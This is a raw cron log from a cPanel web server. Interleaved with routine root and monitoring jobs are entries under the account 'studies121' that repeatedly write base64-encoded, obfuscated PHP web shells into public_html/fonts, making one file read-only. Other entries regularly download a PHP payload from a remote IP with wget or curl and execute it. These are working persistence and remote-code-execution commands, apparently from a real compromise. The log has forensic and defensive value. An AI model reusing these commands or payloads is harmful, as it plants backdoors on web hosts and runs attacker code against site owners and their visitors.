Sep  3 07:22:01 ip-184-168-122-23 CROND[25865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:23:01 ip-184-168-122-23 CROND[25980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:23:01 ip-184-168-122-23 CROND[25982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:23:01 ip-184-168-122-23 CROND[25984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:23:01 ip-184-168-122-23 CROND[25983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:24:01 ip-184-168-122-23 CROND[26351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:24:01 ip-184-168-122-23 CROND[26354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:24:01 ip-184-168-122-23 CROND[26355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:24:01 ip-184-168-122-23 CROND[26358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:24:01 ip-184-168-122-23 CROND[26359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:25:01 ip-184-168-122-23 CROND[26533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:25:01 ip-184-168-122-23 CROND[26536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:25:01 ip-184-168-122-23 CROND[26537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:25:01 ip-184-168-122-23 CROND[26538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:25:01 ip-184-168-122-23 CROND[26539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:25:01 ip-184-168-122-23 CROND[26541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:26:01 ip-184-168-122-23 CROND[26646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:26:01 ip-184-168-122-23 CROND[26648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:26:01 ip-184-168-122-23 CROND[26649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:26:01 ip-184-168-122-23 CROND[26653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:26:01 ip-184-168-122-23 CROND[26651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:27:01 ip-184-168-122-23 CROND[26746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:27:01 ip-184-168-122-23 CROND[26747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:27:01 ip-184-168-122-23 CROND[26749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:27:01 ip-184-168-122-23 CROND[26750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:28:01 ip-184-168-122-23 CROND[26863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:28:01 ip-184-168-122-23 CROND[26864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:28:01 ip-184-168-122-23 CROND[26866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:28:01 ip-184-168-122-23 CROND[26868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:28:01 ip-184-168-122-23 CROND[26865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:29:01 ip-184-168-122-23 CROND[26995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:29:01 ip-184-168-122-23 CROND[26998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:29:01 ip-184-168-122-23 CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:29:01 ip-184-168-122-23 CROND[27001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:30:01 ip-184-168-122-23 CROND[27167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:30:01 ip-184-168-122-23 CROND[27178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:31:01 ip-184-168-122-23 CROND[27307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:31:01 ip-184-168-122-23 CROND[27310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:31:01 ip-184-168-122-23 CROND[27311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:31:01 ip-184-168-122-23 CROND[27314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:31:01 ip-184-168-122-23 CROND[27316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:32:01 ip-184-168-122-23 CROND[27479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:32:01 ip-184-168-122-23 CROND[27481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:32:01 ip-184-168-122-23 CROND[27483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:32:01 ip-184-168-122-23 CROND[27484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:32:01 ip-184-168-122-23 CROND[27485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:33:01 ip-184-168-122-23 CROND[27592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:33:01 ip-184-168-122-23 CROND[27594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:33:01 ip-184-168-122-23 CROND[27593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:33:01 ip-184-168-122-23 CROND[27595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:34:01 ip-184-168-122-23 CROND[27699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:34:01 ip-184-168-122-23 CROND[27702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:34:01 ip-184-168-122-23 CROND[27703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:34:01 ip-184-168-122-23 CROND[27707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:34:01 ip-184-168-122-23 CROND[27708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:35:01 ip-184-168-122-23 CROND[27828]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 07:35:01 ip-184-168-122-23 CROND[27829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:35:01 ip-184-168-122-23 CROND[27834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
